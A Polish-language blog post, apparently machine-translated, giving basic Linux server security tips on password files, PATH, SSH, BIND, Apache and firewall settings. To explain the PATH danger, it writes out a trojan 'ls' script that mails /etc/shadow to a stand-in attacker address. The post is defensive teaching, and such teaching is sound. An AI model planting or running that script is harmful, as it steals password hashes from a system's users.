Wskazówki dotyczące bezpieczeństwa w systemie Linux (serwer) (część 1)

Od dawna nie publikowałem niczego na blogu i chciałbym podzielić się wskazówkami zaczerpniętymi z książki, która (między innymi). Znalazłem go na Uniwersytecie i właśnie przeczytałem i chociaż jest szczerze nieco przestarzały, a przedstawione techniki są mało prawdopodobne, biorąc pod uwagę ewolucję systemu, są to również interesujące aspekty, które można pokazać. 9788448140502

Chcę wyjaśnić, że są to porady zorientowane na system Linux, który jest używany jako serwer, na średnią lub być może dużą skalę, ponieważ na poziomie użytkownika komputera stacjonarnego, chociaż można je zastosować, nie byłyby zbyt przydatne.

Zaznaczam też, że są to proste i szybkie wskazówki i nie będę wdawać się w szczegóły, chociaż planuję zrobić kolejny, znacznie bardziej szczegółowy i obszerny wpis na określony temat. Ale zobaczę to później. Zacznijmy.

Zasady dotyczące haseł. 

Chociaż brzmi to jak slogan, dobra polityka dotycząca haseł decyduje o tym, czy system jest podatny na ataki, czy nie. Ataki takie jak „brute force” wykorzystują złe hasło dostępu do systemu. Najczęstsze wskazówki to:

  • Połącz wielkie i małe litery.
  • Użyj znaków specjalnych.
  • Liczby.
  • Więcej niż 6 cyfr (miejmy nadzieję, że więcej niż 8).

Oprócz tego rozważmy dwa podstawowe pliki.  / etc / passwd i / etc / shadow.

Bardzo ważne jest to, że plik / etc / passwd. Oprócz podania nazwy użytkownika, jego UID, ścieżki do folderu, bash ... itd. w niektórych przypadkach pokazuje również zaszyfrowany klucz użytkownika.

 Spójrzmy na jego typowy skład.

desdelinux:FXWUuZ.vwXttg:500:501::/home/usuario1:/bin/bash

użytkownik: cryptkey: uid: gid: ścieżka :: ścieżka: bash

Prawdziwy problem polega na tym, że ten konkretny plik ma uprawnienia -rw-r - r– co oznacza, że ​​ma uprawnienia do odczytu dla każdego użytkownika w systemie. a posiadanie zaszyfrowanego klucza nie jest trudne do odszyfrowania prawdziwego.

Dlatego plik istnieje / etc / shadow. Jest to plik, w którym przechowywane są między innymi wszystkie klucze użytkowników. Ten plik ma niezbędne uprawnienia, aby żaden użytkownik nie mógł go odczytać.

Aby to naprawić, musimy przejść do pliku / Etc / passwd i zmień zaszyfrowany klucz na „x”, to zapisze klucz tylko w naszym pliku / etc / shadow.

desdelinux:x:500:501::/home/usuario1:/bin/bash

Problemy z PATH i .bashrc i innymi.

Kiedy użytkownik wykonuje polecenie na swojej konsoli, powłoka szuka tego polecenia na liście katalogów zawartych w zmiennej środowiskowej PATH.

Jeśli wpiszesz "echo $ PATH" w konsoli, wyświetli się coś takiego.

.:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:/home/carlos/bin

W każdym z tych folderów powłoka będzie szukać polecenia napisanego w celu jego wykonania. On "." oznacza to, że pierwszy folder do wyszukania to ten sam folder, z którego wykonywane jest polecenie.

Załóżmy, że istnieje użytkownik „Carlos”, który chce „czynić zło”. Ten użytkownik może zostawić plik o nazwie „ls” w swoim głównym folderze iw tym pliku wykonać polecenie takie jak:

#!/bin/bash
cat /etc/shadow | mail hacker@mail.com
/bin/ls

A jeśli użytkownik root dla rzeczy w miejscu docelowym spróbuje wyświetlić foldery w folderze carlos (ponieważ najpierw szuka polecenia w tym samym folderze, nieumyślnie wyśle ​​plik z hasłami na ten e-mail, a następnie foldery zostaną wyświetlone i dowie się dopiero bardzo późno.

Aby tego uniknąć, musimy wyeliminować znak „.” zmiennej PATH.

W ten sam sposób pliki takie jak /.bashrc, /.bashrc_profile, ./.login powinny zostać poddane inspekcji i sprawdź, czy nie ma znaku „.” w zmiennej PATH, a właściwie z plików takich jak ten, możesz zmienić miejsce docelowe konkretnego polecenia.

Wskazówki dotyczące usług:

SZH

  • Wyłącz wersję 1 protokołu ssh w pliku sshd_config.
  • Nie zezwalaj użytkownikowi root na logowanie przez ssh.
  • Pliki i foldery ssh_host_key, ssh_host_dsa_key i ssh_host_rsa_key powinny być odczytywane tylko przez użytkownika root.

WIĄZAĆ

  • Zmień wiadomość powitalną w pliku named.conf tak, aby nie pokazywała numeru wersji
  • Ogranicz transfery stref i włączaj je tylko dla zespołów, które tego potrzebują.

Apache

  • Zablokuj usłudze wyświetlanie Twojej wersji w wiadomości powitalnej. Edytuj plik httpd.conf i dodaj lub zmodyfikuj linie:  

ServerSignature Off
ServerTokens Prod

  • Wyłącz automatyczne indeksowanie
  • Skonfiguruj Apache tak, aby nie obsługiwał poufnych plików, takich jak .htacces, * .inc, * .jsp .. itd
  • Usuń strony podręcznika lub próbkę z usługi
  • Uruchom Apache w chrootowanym środowisku

Bezpieczeństwo sieci.

Konieczne jest uwzględnienie wszystkich możliwych wejść do systemu z sieci zewnętrznej. Oto kilka podstawowych wskazówek, które pomogą uniemożliwić intruzom skanowanie i uzyskiwanie informacji z sieci.

Blokuj ruch ICMP

Zaporę należy skonfigurować tak, aby blokowała wszystkie typy przychodzącego i wychodzącego ruchu ICMP oraz odpowiedzi na echo. Dzięki temu unikniesz, na przykład, skaner, który szuka aktywnego sprzętu w zakresie IP, zlokalizuje Cię. 

Unikaj skanowania pingów TCP.

Jednym ze sposobów przeskanowania systemu jest skanowanie TCP ping. Załóżmy, że na twoim serwerze znajduje się serwer Apache na porcie 80. Intruz może wysłać żądanie ACK do tego portu, dzięki czemu, jeśli system odpowie, komputer będzie żył i przeskanuje resztę portów.

W tym celu twój firewall powinien zawsze mieć opcję "świadomość stanu" i powinien odrzucać wszystkie pakiety ACK, które nie odpowiadają już ustanowionemu połączeniu lub sesji TCP.

Dodatkowe wskazówki:

  • Użyj systemów IDS do wykrywania skanów portów w Twojej sieci.
  • Skonfiguruj zaporę tak, aby nie ufała ustawieniom portu źródła połączenia.

Dzieje się tak, ponieważ niektóre skany używają „fałszywego” portu źródłowego, takiego jak 20 lub 53, ponieważ wiele systemów ufa tym portom, ponieważ są one typowe dla ftp lub DNS.

UWAGA: Pamiętaj, że większość problemów wskazanych w tym poście została już rozwiązana w prawie wszystkich obecnych dystrybucjach. Jednak posiadanie kluczowych informacji o tych problemach nigdy nie boli, aby ci się nie przytrafiły.

UWAGA: Później zobaczę konkretny temat i napiszę o wiele bardziej szczegółowe i aktualne informacje.

Dziękuję wszystkim za czytanie.

Pozdrowienia.


Komentarz, zostaw swój

Zostaw swój komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

*

*

  1. Odpowiedzialny za dane: Miguel Ángel Gatón
  2. Cel danych: kontrola spamu, zarządzanie komentarzami.
  3. Legitymacja: Twoja zgoda
  4. Przekazywanie danych: Dane nie będą przekazywane stronom trzecim, z wyjątkiem obowiązku prawnego.
  5. Przechowywanie danych: baza danych hostowana przez Occentus Networks (UE)
  6. Prawa: w dowolnym momencie możesz ograniczyć, odzyskać i usunąć swoje dane.

  1.   informatyczny powiedział

    Bardzo podobał mi się artykuł i interesuje mnie temat, zachęcam do dalszego zamieszczania treści.